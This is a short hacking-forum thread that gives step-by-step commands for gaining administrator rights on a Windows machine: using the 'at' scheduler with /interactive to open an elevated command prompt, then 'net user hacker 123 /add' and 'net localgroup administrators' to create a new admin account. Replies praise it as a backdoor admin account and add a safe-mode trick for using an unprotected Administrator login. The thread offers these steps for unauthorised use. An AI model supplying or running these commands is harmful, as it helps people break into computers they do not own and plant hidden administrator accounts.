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Start CMD then type the following

at 5:30 /interactive cmd.exe

The time i put above is suppose to be one minute ahead of what the clock in the lower right is when you look at it... So say if the clock is 12:15 then you would type "at 12:16 /interactive cmd.exe" get it? without quotes.

That's not the end a new windows should open (another cmd box) this new cmd will have admin privileges. Then you type this code to create a new account.

net user hacker 123 /add

^What the above code will do is create a new account named hacker with password 123^ as you can see where it says hacker thats the account name and 123 is password, everything is separated by spaces. But this account is not admin yet next you have to do this last command.

net localgroup administrators [user] /add

Where it says user, put the account name and don't put the [] in.
Ive seen this a million times and also im pretty sure ive seen it written exactly the same somewhere else.
Yeah you have seen this written exactly the same by me telling this person:

http://www.hackforums.net/showthread.php?tid=22506 lols also i made this because some people sent me pm's saying good cmd work etc... So i thought i would put it here to help others like the kid in the thread link above.

Also before you accuse people of stealing others work you should do some research... It's called the search function.
but man it does not works in guest account account showing a error access is denied
It makes no sense, u can not creat it in guest acc.
I see wat u r talking about buddy, for backdoor admin acc, quite useful, thanks
EvilMayCry Wrote:I see wat u r talking about buddy, for backdoor admin acc, quite useful, thanks


Or you can try turning on the computer while pressing f8 the whole time. Start the computer in safe mode. Look to see if Administrator has password. If not. Free admin account then.
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